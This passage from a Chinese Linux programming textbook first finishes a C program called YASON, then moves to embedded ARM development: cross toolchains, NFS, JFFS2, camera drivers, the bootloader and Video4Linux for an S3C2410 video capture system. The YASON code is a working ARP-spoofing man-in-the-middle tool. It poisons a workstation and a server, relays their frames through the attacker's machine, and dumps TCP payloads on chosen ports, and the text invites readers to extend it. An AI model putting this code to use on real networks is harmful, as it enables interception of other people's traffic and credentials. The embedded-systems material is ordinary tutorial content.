if(!memcmp(ethhdr-＞ether_shost,macM,6))/*如果源IP是M的IP就直接返回*/

return TRUE;

if(memcmp(ethhdr-＞ether_dhost,macM,6))/*如果MAC地址不是M的地址则返回*/

return TRUE;

if(!memcmp(ethhdr-＞ether_shost,macW,6))/*如果MAC地址是W(工作站)的*/

{

memcpy(ethhdr-＞ether_shost,macM,6);

memcpy(ethhdr-＞ether_dhost,macS,6);

ret=libnet_write_link(

lnet,

(u_char*)datapoint,

len

);

}

if(!memcmp(ethhdr-＞ether_shost,macS,6))/*如果源地址是S(服务器)的*/

{

memcpy(ethhdr-＞ether_shost,macM,6);

memcpy(ethhdr-＞ether_dhost,macW,6);

ret=libnet_write_link(

lnet,

(u_char*)datapoint,

len

);

}

return TRUE;

}



上面的函数是用来重定向服务器或工作站发送的数据包的。因为在服务器和工作站被ARP欺骗之后都会把M主机作为目标主机（其实不是），所以作为M主机应该负责转发来自服务器和工作站的数据，而不影响服务器和工作站的正常通信。

这个函数首先会判断数据包的来源：如果是发给M的，则直接忽略。有人会问这是为什么，因为我们感兴趣的数据不是正常发给M的数据而是S和W之间发送的数据。如果判断是S或W为ARP欺骗而发送给M的数据包，这时M需要做的就是将数据包的MAC修改成正确的MAC地址，然后再转发过去。上面的函数实现的正是这个功能。

3.数制码制转换



/*将十六进制数转换成ASCⅡ码并且打印到屏幕上。*/

void printdat(u_char*packet,int len)

{

int i=0,j=0;

u_char str[16];

for(i=0;i＜=len-16;i+=16)

{

memcpy(str,packet+i,16);

fprintf(stdout,"%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x",

str[0],str[1],str[2],str[3],

str[4],str[5],str[6],str[7],

str[8],str[9],str[10],str[11],

str[12],str[13],str[14],str[15]

);

for(j=0;j＜16;j++)

{

if(str[j]＜32||str[j]＞126)

str[j]='.';

}

fprintf(stdout,"%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c\n",

str[0],str[1],str[2],str[3],

str[4],str[5],str[6],str[7],

str[8],str[9],str[10],str[11],

str[12],str[13],str[14],str[15]

);

}

if(i!=len)

{

memcpy(str,packet+i,16);

for(j=0;j＜16;j++)

{

if(j%4==0＆＆j!=0)

fprintf(stdout,"");

if((i+j)＜len)

{

fprintf(stdout,"%02x",str[j]);

}

else

fprintf(stdout,"");

}

fprintf(stdout,"");

for(j=0;j＜16;j++)

{

if((i+j)＜len)

{

if(str[j]＜32||str[j]＞126)

str[j]='.';

fprintf(stdout,"%c",str[j]);

}

}

fprintf(stdout,"\n\n");

}

}



无论是网卡信息还是别的，在机器中都是以二进制形式存储的。所以当需要将这些信息打印在屏幕上的时候需要转换成ASCⅡ代码才能正常输出。上面的函数就是用来完成这个工作的。

4.数据包的解析



/*解析数据包*/

int parsedate(const u_char*packet,int len,u_char*macW,u_char*macS,u_char*macM,u_char*ipW,u_char

*ipS,int*port)

{

int i=0;

in contents;

u_char* content;

const u_char* datapoint=packet;

struct ether_header*ethhdr;

struct iphead* iph;

struct tcphead* tcph;

ethhdr=(struct ether_header*)datapoint;

iph=(struct iphead*)(datapoint+sizeof(struct ether_header));

tcph=(struct tcphead*)(datapoint+sizeof(struct ether_header)+sizeof(struct iphead));

if(memcmp(ethhdr-＞ether_shost,macW,6)＆＆memcmp(ethhdr-＞ether_shost,macS,6))

return FALSE;

if(memcmp(ethhdr-＞ether_dhost,macM,6))

return FALSE;

if(ntohs(ethhdr-＞ether_type)!=ETHERTYPE_IP)

return FALSE;

if(iph-＞ip_v!=4||iph-＞ip_hl!=5)

return FALSE;

if(!(!memcmp(iph-＞ip_dst,ipW,4)||!memcmp(iph-＞ip_src,ipW,4)))

return FALSE;

if(iph-＞ip_p!=IPPROTO_TCP)

return FALSE;

contents=htons(iph-＞ip_len)-sizeof(struct iphead)-sizeof(struct tcphead);

content=(u_char*)(datapoint+sizeof(struct ether_header)+sizeof(struct iphead)+sizeof(struct tcphead));

if((tcph-＞th_flags＆TH_PUSH))

{

for(i==0;port[i]!=0;i++)

{

printf("=====%d%d\n",port[i],htons(tcph-＞th_dport));

if(port[i]==htons(tcph-＞th_dport)||port[i]==htons(tcph-＞th_sport))

break;

}

if(port[i]==0)

return;

printf("Size:[%d][%d.%d.%d.%d:%d]-＞[%d.%d.%d.%d:%d]\n",htons(iph-＞ip_len),

iph-＞ip_src[0],iph-＞ip_src[1],iph-＞ip_src[2],iph-＞ip_src[3],htons(tcph-＞th_sport),

iph-＞ip_dst[0],iph-＞ip_dst[1],iph-＞ip_dst[2],iph-＞ip_dst[3],htons(tcph-＞th_dport)

);

printdat(content,contents);

}

return TRUE;

}



无论是通过ARP欺骗还是直接通过修改网卡模式进行网络嗅探，嗅探完的工作都是分析捕获的数据包。上面的函数就是完成这项工作的。它通过使用结构体指针，不断地将捕获的数据包指向不同的头结构。在每分析完一层头结构之后，指针向后移动相应的距离进而分析下一个头结构。

5.实现网络嗅探功能



/*数据包嗅探*/

int agentpacket(libnet_t*lnet,pcap_t*lpcap,struct ipmacaddr*ipmac,int*port)

{

const u_char*packet;

struct pcap_pkthdr hdr;

while(1)

{

packet=pcap_next(lpcap,＆hdr);

if(packet==NULL||hdr.len==0)

continue;

parsedate(packet,hdr.len,ipmac-＞macW,ipmac-＞macS,ipmac-＞macM,ipmac-＞ipW,ipmac-＞ipS,

port);

forwarddate(lnet,packet,hdr.len,ipmac-＞macW,ipmac-＞macS,ipmac-＞macM);

}

return TRUE;

}



上面的函数的功能就是使用parsedate()函数，应用LibPcap库中的pcap_next()函数不断地捕获数据包，然后进行分析。

6.获取本机和目标主机信息



/*

获取目标网卡信息

*/

int gettargetmac(libnet_t*lnet,struct ipmacaddr*ipmac)

{

while(1)

{

arpsend(lnet,ipmac-＞macM,ipmac-＞ipM,ipmac-＞macW,ipmac-＞ipW);

arpsend(lnet,ipmac-＞macM,ipmac-＞ipM,ipmac-＞macS,ipmac-＞ipS);

sleep(1);

}

return TRUE;

}



在进行ARP欺骗之前需要获取目标主机的MAC地址。这个函数就是用来获取MAC()地址的。函数比较简单，就不再详述了。



/*

获取网卡信息

*/

int getmacaddress(char*dev,libnet_t*lnet,pcap_t*lpcap,struct ipmacaddr*ipmac)

{

int skfd=0;

unsigned int isgetmac=0x0;

pid_t pid=0;

struct ifreq ifr;

const u_char*packet;

struct pcap_pkthdr hdr;

struct ether_header*ethhdr;

struct arphdr* arph;

//--获取本地MAC地址

strcpy(ifr.ifr_name,dev);

skfd=socket(AF_INET,SOCK_DGRAM,0);

if(skfd＜0)

{

printf("Can't open socket!\n");

return FALSE;

}

if(ioctl(skfd,SIOCGIFHWADDR,＆ifr)＜0)

{

printf("Can't read local mac address!\n");

return FALSE;

}

memcpy(ipmac-＞macM,ifr.ifr_hwaddr.sa_data,6);

close(skfd);

//--获得目标MAC地址

pid=fork();

if(pid==0)

{

gettargetmac(lnet,ipmac);

exit(TRUE);

}

while(1)

{

packet=pcap_next(lpcap,＆hdr);

if(packet==NULL||hdr.len==0)

continue;

ethhdr=(struct ether_header*)packet;

arph=(struct arphdr*)(packet+sizeof(struct ether_header));

if(memcmp(ethhdr-＞ether_dhost,ipmac-＞macM,6))

continue;

if(ntohs(ethhdr-＞ether_type)!=ETHERTYPE_ARP)

continue;

if(!memcmp(arph-＞__ar_sip,ipmac-＞ipW,4)＆＆!memcmp(arph-＞__ar_tip,ipmac-＞ipM,4))

{

memcpy(ipmac-＞macW,arph-＞__ar_sha,6);

isgetmac=0xFFFF0000|isgetmac;

}

if(!memcmp(arph-＞__ar_sip,ipmac-＞ipS,4)＆＆!memcmp(arph-＞__ar_tip,ipmac-＞ipM,4))

{

memcpy(ipmac-＞macS,arph-＞__ar_sha,6);

isgetmac=0x0000FFFF|isgetmac;

}

if(isgetmac==0xFFFFFFFF)

break;

}

kill(pid,9);

return TRUE;

}



上面函数的功能是应用gettargetmac()函数和自身功能获取本地和目标MAC地址的。因为LibPcap函数库不支持本地MAC地址的获取，所以需要使用原始套接字将这部分功能完成。需要做的就是使用ioctl()函数将本机的网卡信息读出来。在获取目标网卡信息时一方面需要不停地向目标主机发送MAC询问信息，一方面需要分析。所以在这里需要使用fork()函数新建一个进程，双管齐下。

7.程序主体函数



int main(int argc,char*argv[])

{

int ret=0,i=0;

char *p，*s;

char c;

char string[]="I:M:W:S:P:";

int port[100];

char dev[32]="";

struct ipmacaddr ipmac;

pid_t pid;

libnet_t* lnet;

pcap_t* lpcap;

bpf_u_int32 netp,maskp;

struct bpf_program fp;

char err[PCAP_ERRBUF_SIZE];

char filterstr[]="";

unsigned int ipM;

unsigned int ipW;

unsigned int ipS;

u_char macW[]={255,255,255,255,255,255,255};

u_char macS[]={255,255,255,255,255,255,255};

u_char macM[]={255,255,255,255,255,255,255};

bzero(＆ipmac,sizeof(struct ipmacaddr));

if(argc＜8)

{

usage(argv[0]);

return FALSE;

}

while((c=getopt(argc,argv,string))!=EOF)

{

switch(c)

{

case('I'):

strcpy(dev,optarg);

break;

case('M'):

ipM=inet_addr(optarg);

memcpy(ipmac.ipM,(void*)＆ipM,4);

break;

case('W'):

ipW=inet_addr(optarg);

memcpy(ipmac.ipW,(void*)＆ipW,4);

break;

case('S'):

ipS=inet_addr(optarg);

memcpy(ipmac.ipS,(void*)＆ipS,4);

break;

case('P'):

printf("%s\n",optarg);

s=optarg;

p=strtok(s,":");

while(p)

{

port[i]=atoi(p);

printf("%d\n",port[i]);

p=strtok(NULL,":");

i++;

}

port[i]=0;

break;

default:

usage(argv[0]);

return FALSE;

}

}

memcpy(ipmac.macW,macW,6);

memcpy(ipmac.macS,macS,6);

memcpy(ipmac.macM,macM,6);

ret=pcap_lookupnet(dev,＆netp,＆maskp,err);

if(ret==-1)

{

printf("Can't initialize PCAP![%s]\n",err);

return FALSE;

}

lpcap=pcap_open_live(

dev,

MAXBUF,

PROMISC,

PCAP_TOUT,

err

);

if(lpcap==NULL)

{

printf("Can't initialize PCAP![%s]\n",err);

return FALSE;

}

ret=pcap_compile(lpcap,＆fp,filterstr,0,netp);

if(ret==-1)

{

printf("Error pcap_compile!\n");

return FALSE;

}

ret=pcap_setfilter(lpcap,＆fp);

if(ret==-1)

{

printf("Error pcap_setfilter!\n");

return FALSE;

}

lnet=libnet_init(

LIBNET_LINK,

dev,

err);

if(lnet==NULL)

{

printf("Can't initialize libnet!Please check the[dev]\n");

return FALSE;

}

ret=getmacaddress(dev,lnet,lpcap,＆ipmac);

printf("Get network cards mac address:\n");

printf("M-＞%02x:%02x:%02x:%02x:%02x:%02x\n",ipmac.macM[0],ipmac.macM[1],ipmac.macM[2],ip-

mac.macM[3],ipmac.macM[4],ipmac.macM[5],ipmac.macM[6]);

printf("W-＞%02x:%02x:%02x:%02x:%02x:%02x\n",ipmac.macW[0],ipmac.macW[1],ipmac.macW[2],ip-

mac.macW[3],ipmac.macW[4],ipmac.macW[5],ipmac.macW[6]);

printf("S-＞%02x:%02x:%02x:%02x:%02x:%02x\n",ipmac.macS[0],ipmac.macS[1],ipmac.macS

[2],ipmac.macS[3],ipmac.macS[4],ipmac.macS[5],ipmac.macS[6]);

printf("\nNow Start.…\n");

if(ret==FALSE)

{

return FALSE;

}

pid=fork();

if(pid==0)

{

arpspoof(lnet,＆ipmac);

return FALSE;

}

else

{

agentpacket(lnet,lpcap,＆ipmac,port);

}

libnet_destroy(lnet);

pcap_close(lpcap);

printf("Done\n");

return TRUE;

}



上面这段代码是YASON的主函数。内容较琐碎，一开始阅读时会有些费劲，但其实完成的功能很简单。首先获取本地的IP地址等网卡信息，其次将之前涉及的所有子函数整合到一起。让这些“乐高积木”统一到YASON这个整体中。

到这里，我们的YASON之旅也宣告结束了。但是YASON未来的发展还需要各位的努力。更加完善它的功能，使其更加强大。


18.6　实践拓展

1.关于软浮点

建立交叉编译工具链是一个漫长的过程，稍不小心就会出错。建议采用crosstool默认的组合来制作，成功率要高很多，不容易出现问题。如果网络环境不方便的话，可以手动从网络上下载所需要的软件包版本，并且复制到TARBALLS_DIR定义的目录下，软件包的版本可以参考gcc-3.3.6-glibc-2.3.2.dat文件，一定不要在执行编译的过程中以root身份来运行脚本，这样编译会出错。还有一点需要强调的是，我们制作的建立交叉编译工具链是不支持软浮点功能的。

软浮点（soft-float）：S3C2410处理器没有浮点协处理器，所以需要一个模拟浮点机制，而且很多软件只能采用软浮点的编译器编译。

那么如何制作支持软浮点功能的交叉编译工具链呢？其实只需要修改demo-arm-soft-float.sh文件，选择合适的组合版本就可以生成含有软浮点功能的交叉编译工具链。那么如何测试我们制作的交叉编译工具链是否支持软浮点功能呢？只需要用arm-linux-gcc-v来查看即可，其中如果有soft-float字样就表明支持软浮点功能。

2.NFS（网络文件系统）

在移植内核的过程中，我们可以先参考S3C2410的默认配置来进行修改，这样出错的概率会小很多，而且在配置内核的时候要选择支持挂载NFS。NFS是Network File System的简写，即网络文件系统。网络文件系统是FreeBSD支持的文件系统中的一种，允许一个系统在网络上与他人共享目录和文件。通过使用NFS，用户和程序可以像访问本地文件一样访问远端系统上的文件。

以下是NFS最显而易见的好处：

1）本地工作站使用更少的磁盘空间，因为通常的数据可以存放在一台机器上而且可以通过网络访问到。

2）用户不必在每个网络的机器里都有一个home目录。home目录可以被放在NFS服务器上并且在网络上处处可用。

3）诸如软驱、CDROM和Zip＆reg之类的存储设备可以在网络上被别的机器使用。这可以减少整个网络上的可移动介质设备的数量。

4）NFS至少有两个主要部分：一台服务器和一台（或者更多）客户机。客户机远程访问存放在服务器上的数据。为了正常工作，一些进程需要被配置并运行。

NFS有很多实际应用，比较常见的如下：

1）多个机器共享一台CDROM或者其他设备。这对于在多台机器中安装软件来说更加便宜和方便。

2）在大型网络中，配置一台中心NFS服务器用来放置所有用户的home目录可能会带来便利。这些目录能被输出到网络以便用户不管在哪台工作站上登录，总能得到相同的home目录。

3）几台机器可以有通用的/usr/ports/distfiles目录。这样的话，当需要在几台机器上安装port时，无需在每台设备上下载，从而快速访问源码。

选择NFS的好处是方便我们的开发和调试，不能保证第一次移植内核就是成功的，所以经常烧写内核并不是一个很好的习惯，因为这样会造成不便，况且对nandflash也不好，因为其擦写次数是有限的。所以我们采用NFS来开发是非常方便的，只需要在内核启动的时候传递给其相应的参数并且用交叉网线将主机和开发板相连即可。在这之前要保证主机的NFS服务是开启的。

配置NFS，修改/etc/exports文件：



echo"/nfsroot*(rw,root_squash,sync)"＞/etc/exports



开启NFS服务：



/etc/init.d/portmap start

/etc/init.d/nfs start

/etc/init.d/nfslock start



测试NFS是否正常工作：



mount 192.168.0.10:/nfsroot/mnt



3.静态编译还是动态编译

在编译busybox的时候有一些需要注意的地方，首先可以参考其默认配置来进行修改，在选择是静态编译还是动态编译的时候需要根据实际情况而定。如果采用的是静态编译，那么生成的文件体积会比较大，它包含了程序执行过程中所需要的库，优点是不用做库的剪裁。这里我们采用的是动态编译，最后需要把程序在执行过程中所需要的库全部复制过来，尤其是ld链接器。为了方便起见我们可以把所有的共享库全部复制过来，或者通过arm-linux-readelf-a busybox|grep "Shared"命令来查看busybox具体使用了那些共享库。这样保证了程序正常稳定的运行，同理在移植其他应用程序的时候同样可以采用这种方法。

4.如何选择文件系统

在选择文件系统的时候可以根据自己的实际情况来选择。这里我们采用的是YAFFS2，因为其专门针对nandflash做了一些优化和调整，性能比较优越。当然同时也可以混合采用一些其他的文件系统，比如tmpfs。tmpfs在Linux操作系统中是一个常见的名称，会用来作为暂时的档案储存方式，在更多的情况下，它会用虚拟的内存而不是一个永久保存的媒体来在档案系统上使用。所以我们可以用它来挂载需要经常读写的文件系统，比如/tmp和/var等。

对于资源有限的开发板也可以采用Cramfs文件系统，Cramfs文件系统是专门针对闪存设计的只读压缩的文件系统，其容量上限为256MB，采用zlib压缩，文件系统类型可以是EXT2或EXT3。如果使用RAMDISK方式来使用文件系统，那么在系统运行之后，首先得把flash上的映像文件全部解压到ram中，构造ramdisk环境，才可以运行程序。但有一个致命的弱点，在正常情况下，同样的代码不仅在flash占用了空间，而且还在ram中占用极大的空间，这违背了嵌入式中节省资源的原则。Cramfs文件系统并不需要一次性地将文件系统中的所有内容解压到ram中，而只是系统需要访问某个位置的数据时，马上计算出该数据在Cramfs中的位置，将其解压到ram中，然后通过内存访问来获取数据，Cramfs中的解压缩之后的内存中的数据存放位置都是由Cramfs文件系统本身来管理，用户并不需要实现过程，因此增加了透明度，为开发人员节约了时间。

5.交叉编译工具链

在编译内核和busybox的时候应该采用同一套交叉编译工具链，避免因库版本不统一造成无法启动系统。


第19章　ARM Linux视频采集与传输

本章要点：

系统硬件平台概述

S3C2410介绍

视频采集的软件结构

视频采集的系统程序

视频采集的应用程序


 19.1　硬件平台概述

视频采集系统的硬件结构如图19-1所示。
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图　19-1　视频采集系统硬件框图

硬件部分采用韩国三星公司的S3C2410处理器为主体的硬件系统架构，S3C2410是基于ARM920T的专门为PDA、Internet设备和手持设备等专门开发的微处理器，内部带有全性能的MMU（Memory Management Unit，内存处理单元），具有高性能、低功耗、接口丰富和体积小等优良特性，拥有相对稳定的框架结构、成熟的开发技术，是基于嵌入式的视频监视系统首选的开发平台。ARM外围电路包括系统电源、USB摄像头接口模块、Flash模块、SDRAM模块、JTAG模块、串口以及电源模块等，完成存储、通信和显示等功能。网卡的选择主要考虑传输速率和芯片的通用性，因此系统中的网卡芯片采用了AX88796以太网控制器，该网卡是10/100Mb/s自适应通信速率的，能够满足系统的需求，而且该网卡芯片驱动在Linux 2.6内核中已经自带，只需要稍作修改就可以正常运行起来。


19.2　S3C2410处理器

S3C2410是一款32位高性能CPU，丰富的外设接口、203MHz的主频使它特别适合进行操作系统的移植和进行应用开发。在18.2.2节已对其作了简要介绍，S3C2410的内部结构如图19-2所示。
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图　19-2　S3C2410内部结构图

S3C2410通过提供全面的、通用的片上外设，使系统的全部成本降到最低，并且不需要配置额外的部件。

1.片上功能介绍

·1.8V的ARM920T内核，1.8V/2.5V/3.3V存储系统，带有3.3V16KB指令和16KB数据缓存及MMU单元的外部I/O接口的微处理器。

·外部存储器控制（SDRAM控制和芯片选择逻辑）。

·LCD控制器（支持4K颜色的STN或256K色TFT的LCD），带有1个通道的LCD专用DMA控制器。

·4通道DMA，具有外部请求引脚。

·3通道UART（支持IrDA1.0、16字节发送FIFO及16字节接收FIFO）和2通道SPI接口。

·1通道多主I2C总线控制器/1通道IIS总线控制器。

·0版本SD主机接口及2.11版本兼容的MMC卡协议。

·2个主机接口的USB口和1个设备USB口（1.1版本）。

·4通道PWM定时器/1通道内部计时器。

·看门狗定时器。

·117位通用目的I/O口、24通道外部中断源。

·电源控制：正常、慢速、空闲及电源关闭模式。

·带触摸屏接口的8通道10位ADC。

·带日历功能的实时时钟控制器。

·具有PLL的片上时钟发生器。

2.体系结构

·集成了手持设备和通用嵌入式系统的解决方案。

·32/16位结构体系和ARM920T CPU核的强大指令体系。

·增强的ARM MMU体系结构支持WinCE、POC32和Linux操作系统。

·指令缓存、数据缓存、写缓冲器和RAM物理地址标签减少了主存储器带宽和潜在性能的影响。

·ARM920T CPU核支持ARM调试体系结构。

·内置的高级微控制总线体系结构（AMBA）（AMBA 2.0，AHB/APB）。

3.系统管理器

·支持小/大端模式。

·寻址空间：每个bank 128MB（总共1GB）。

·支持每个bank可编程的8/16/32位数据总线宽度。

·bank0到bank6具有固定的bank起始地址。

·bank7具有可编程的bank起始地址和bank大小。

·共有8个存储器bank：6个存储器bank用于ROM、SRAM及其他；2个存储器bank用于ROM/SRAM/同步DRAM。

·所有的存储器bank具有可编程的操作周期。

·支持外部等待信号延长总线周期。

·支持断电时的SDRAM自刷新模式。

·支持多种类型的引导ROM（NOR/Nand Flash、EEPROM及其他）。


19.3　系统的软件结构

系统软件是在Linux操作系统的基础上构建的，文件系统是针对Flash的无缓冲机制的JFFS2（Journaling Flash File System Version 2）文件系统，文件系统中包含应用程序、模块、配置文件和库函数等。应用程序包括视频信号采集、压缩编码和网络传输的相应程序模块等。软件结构如图19-3所示。
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图　19-3　视频采集系统的软件结构

软件结构的工作流程：首先由摄像头采集视频并放入存储器缓冲区中，然后将采集到的视频图像数据通过嵌入式开发板上移植的图像编码处理程序进行相关处理，接着将处理后的文件保存在Flash中的JFFS2文件系统中，然后利用无线网络进行传输。


19.4　视频采集的系统程序

视频采集的系统程序包括选择合适的BootLoader、编译嵌入式Linux内核、加载摄像头驱动、建立JFFS2文件系统几个部分。


 19.4.1　JFFS2文件系统的建立

Linux内核启动在系统启动时的最后操作是加载根文件系统。根文件系统中放入了Linux系统所使用的所有应用程序、函数库及其他一些需要用到的服务。对于嵌入式Linux系统来说，由于文件都保存在Flash中，所以需要建立与之相对应的JFFS2文件系统。

JFFS2是一种日志文件系统，所有文件系统的内容变化都被记录到一个日志中，每隔一段时间，文件系统会对文件的实际内容进行更新，然后删除这部分日志，重新开始记录。如果对文件内容的变更操作由于系统出现意外而中断，则系统重新启动时，会根据日志恢复中断以前的操作，这样系统的数据就更加安全，文件内容将不会因为系统出现意外而丢失。JFFS2建立在MTD（Memory Technology Devices）技术的基础上，MTD是专门为访问Flash存储设备而设计的Linux子系统，提供了对Flash操作的一系列标准接口，能更好地支持对Flash的擦除和读写操作。通过MTD技术，可以将硬件驱动设计和系统程序设计分开。为了使用JFFS2文件系统，需要把MTD子系统编译到内核中，MTD子系统提供MTD_CHAR和MTD_BLOCK这两个模块用于对Flash的访问，MTD_CHAR将Flash表现为字符设备，与其关联的设备文件是/dev/mtd0等，MTD_BLOCK将Flash表现为块设备，与其关联的设备文件是/dev/mtdblock0等，JFFS2文件系统就建立在MTD_BLOCK模块的基础上。

建立JFFS2文件系统的步骤如下。

[1]构建文件系统基本目录。



#mkdir bin dev home etc lib proc sbin sys var tmp root usr tools



建立基本目录的目的是，根据需要将不同的系统文件存储在不同的目录下。比如在/etc目录下存储着一些启动过程中的配置文件，如rc、fstab等。

[2]修改设备号。

由于ROM设备和MTDBlock设备的主设备号都是31，所以如果不想把JFFS2作为根文件系统，而只是在系统启动时挂载，就必须修改MTDBlock设备的主设备号。

[3]编写MAPS文件。

根据应用要求，建立自己的分区表。但是需要注意的是，与磁盘设备不同，一般不能使用磁盘分区工具对Flash设备进行分区，而必须将其编码在mapping驱动程序中，该文件在/kernel/driver/mtd/maps/目录下。

[4]配置内核。

需要内核支持MTD设备，在配置内核参数的时候选中要使用的Flash设备，需要启动内核提供支持。

[5]生成映像文件。

首先取得JFFS2的制作工具mkfs.jffs2。执行如下命令来生成所要的映像。



chmod 777 mkfs.jffs2/*取得mkfs.jffs2的执行权*/

/mkfs.jffs2-d jffs2/-o jffs2.img/*生成JFFS2文件映像*/




19.4.2　摄像头驱动的加载

USB摄像头因其低廉的价格和良好的性能广泛应用于可视电话、视频聊天、视频监控等领域，同时，其灵活、方便的特性，使其易于集成到嵌入式系统中。USB摄像头包括主控芯片和CMOS感光芯片。其中，主控芯片负责图像采集、压缩以及与主机进行通信，感光芯片用于将感应光信号转换为模拟或数字视频电信号。

Linux本身自带了采用OV511芯片的摄像头，Linux 2.4及以上内核都支持USB设备，而市场上应用最广泛的是采用中芯微公司生产的ZC301x芯片的摄像头，需要USB驱动的支持，也就是说，要先安装USB驱动，然后安装摄像头驱动。

虽然Linux本身自带了OV511的驱动，但OV511摄像头采集的图像格式为RGB，数据量较大不利于实时采集和处理。ZC301x系列主控芯片摄像头支持JPEG格式和4:2：0采样的YUV原始视频数据输出，数据量小，可以直接作为MPEG-4等视频压缩编解码标准的原始视频数据源，避免了对图像的重采样和色彩空间的变换等复杂的数字运算处理，非常适用于嵌入式的实时视频采集。

本系统采用基于ZC301P芯片的摄像头，具有高质量的VGA感光器（35万像素），传输接口为USB1.1，最大分辨率为640×480，支持30fps最大帧频，支持动态与静态视频采集。

在Linux系统平台加载USB摄像头驱动，首先把USB控制器驱动模块静态编译进内核，使开发平台支持USB接口，在使用摄像头进行视频采集时，使用insmod命令动态加载其驱动模块，这样摄像头就可以正常工作了。

在Linux下常用的摄像头驱动是spca5xx，这是一个通用驱动，该驱动的下载网站为http://mxhaard.free.fr/download.html。这个网站还给出了这款驱动支持的摄像头的种类。针对嵌入式环境，有专门的patch，使用USB-2.6.12LE06.patch.gz驱动摄像头的过程如下。

[1]下载ZC301P驱动USB-2.6.12LE06.patch，下载后将其复制到/kernel/driver/usb目录下解压、打补丁，然后在此目录下就会看到spca5xx文件夹。

[2]配置内核：make menuconfig，配置选项中选择（*）Multimedia device-＞Video for linux，加载Video4Linux模块，为视频采集设备提供编程接口。

[3]选择模块USB support-＞USB Multimedia devices-＞USB SPCA5XX Sunplus Vimicro Sonix Cameras。

[4]编译内核：make dep；make zImage；make modules，在/kernel/arch/arm/boot下生成内核映像zImage，将内核烧写到开发板中，并启动新内核。

[5]通过编译后在/kernel/driver/usb/spca5xx下生成目标文件spca5xx.o、spcadecoder.o、sp-ca_core.o，这就是所需要的驱动。

[6]新内核启动，加载insmod三个*.o文件（可以不用加载spcadecoder.o），摄像头就加载成功了。


19.4.3　BootLoader移植

BootLoader引导程序是嵌入式开发很重要的组成部分。BootLoader引导程序最基本的功能是对硬件系统的初始化和对内核启动参数的设置及启动内核。BootLoader的主要功能有：

·初始化CPU的主频、SDRAM、中断、串口等硬件。

·启动Linux内核并提供一个RAMDISK。

·通过串口下载内核或RAMDISK到目标板上。

·将修改过的内核或RAMDISK写入到Flash内。

·为用户提供一个命令接口。

在嵌入式系统开发过程中，BootLoader还与主机通信，不断检测从主机传来的控制信息和数据信息，完成相应的操作。

Linux运行在保护模式下，但是当机器启动复位的时候却处于实模式下。所以写Boot-Loader的工作也是在实模式之下的。Bootloader的实现除了依赖于CPU的体系结构，还依赖于目标板的设置，本系统的BootLoader引导程序分为stagel和stage2两个阶段。依赖于CPU的体系机构的代码，比如设备初始化等，放在stagel中，采用ARM汇编语言来实现，这样可以达到短小精悍的目的。stage2用C语言来实现，可以实现复杂的功能，同时代码具有更好的可读性和可移植性。

stage1是BootLoader一开始就执行的操作，其目的是为了stage2的执行以及随后的内核的执行，设置好一些基本的硬件环境。包括以下步骤：

[1]屏蔽所有的中断。为中断提供服务的通常是操作系统，因此在执行BootLoader的过程中可以不响应任何中断。中断屏蔽通过写CPU的中断屏蔽寄存器来完成。

[2]设置CPU的时钟频率和速度。

[3]初始化RAM设置系统的内存控制器的功能寄存器和各内存库控制寄存器等。

[4]为加载stage2准备RAM空间。

[5]复制stage2到RAM中。

[6]跳转到stage2的入口点。

BootLoader的stage2的主要功能是通过串口下载Linux内核到目标板上。包括以下几个步骤：

[1]初始化本阶段要使用到的硬件设备。通常包括：初始化至少一个串口，以便和终端用户进行I/O信息；初始化计时器等。

[2]检测系统的内存映射。所谓内存映射是指在整个4GB物理地址空间中有哪些地址范围被分配用来寻址系统的RAM单元。

[3]将内核映像和根文件系统从Flash读入到RAM中。这里包括内核映像所占用的内存范围和根文件系统所占用的内存范围。

[4]设置内核的启动参数。

[5]调用内核。BootLoader调用Linux内核的方法是直接跳转到内核的第一条指令处。


19.4.4　将Linux内核移植到S3C2410

Linux内核技术一直在不断发展中，目前最新的内核版本是Linux 2.6系列。三星S3C2410开发平台作为Linux的一个标准支持平台，无需任何patch，根据硬件情况稍作改动，在S3C2410的目标板上就能够运行得很好。移植过程如图19-4所示。

[image: ]


图　19-4　Linux内核移植流程图

[1]下载Linux-2.6.14.tar.gz，将压缩包移动到/usr/src目录下，并解压缩。

[2]编辑Makefile，修改目标CPU体系结构和交叉编译工具的路径，修改Makefile中的ARCH和CROSS_COMPILE对应内容。修改本机的交叉编译工具链的路径和前缀。



ARCH?=arm

CROSS_COMPILE?=/opt/crosstool/bin/arm-s3c2410-linux-gnu-



[3]修改NandFlash分区，在arch/arm/mach-s3c2410/devs.c文件中加入分区信息。

[4]修改fs/Kconfig文件，使内核支持devfs以及在启动时并在/sbin/init运行之前能自动挂载/dev为devfs文件系统。

[5]复制make的配置文件，对内核进行配置。其中Video For Linux（支持音视频设备编程）配置必选。

[6]配置工作完成后，执行make zImage操作，把arch/arm/boot目录下的zImage下到板子上运行。


19.5　视频采集的应用程序

视频采集系统主要包括系统的应用层软件，分为3个部分，即视频采集程序、视频编码程序和数据传输程序。

视频采集模块的主要功能是通过摄像头、视频采集卡等硬件设备，将捕获的图像数据转换为可采集的模拟信号，经过模/数转换器将模拟信号转换为数字信号保存在存储器中。嵌入式处理器负责控制视频采集设备的工作状态，同时通过数据接口将采集到的视频流数据进行编码压缩，以备网络传输。


 19.5.1　视频采集程序

Video4 Linux（V4L）是Linux中关于视频设备的内核驱动，为Linux系统中的视频和音频数据提供了一套统一的API接口，配合适当的视频采集设备和相应的驱动程序，可以实现影像/图片采集、AM/FM广播、频道切换等功能。Video4 Linux是Linux下进行影像系统开发的核心，在远程会议、可视电话、视频监控系统中都有广泛的应用。

目前根据Linux版本的不同，有Video4 Linux和Video4 Linux2（V4L2）两个版本。在使用V4L之前首先需要将头文件videodev.h引入，同时为了同相关的设备进行通信，需要一些结构体、变量和函数，所以需要包含其他的相关文件。

1.接口函数

在drivers/media/video/videodev.c文件中，提供了一些内核接口函数，下面对这些接口函数进行介绍。

（1）int video_register_device（struct video_device*，int type,int nr）

该函数实现Linux视频设备在内核中的注册。参数struct video_device*是想要注册的video_device结构，参数type是注册的设备类型，参数nr是需要注册的设备号。

（2）struct video_device

该结构体的定义如下：



struct video_device

{

struct module*owner;

char name[32];

int type;

int type2;

int hardware;

int minor;

int(*open)(struct video_device*,int mode);

void(*close)(struct video_device*);

long(*read)(struct video_device*,char*,unsigned long,int noblock);

long(*write)(struct video_device*,const char*,unsigned long,int noblock);

unsigned int(*poll)(struct video_device*,struct file*,poll_table*);

int(*ioct1)(struct video_device*,unsigned int,void*);

int(*mmap)(struct vm_area_struct*vma,struct video_device*,const char*,unsigned long);
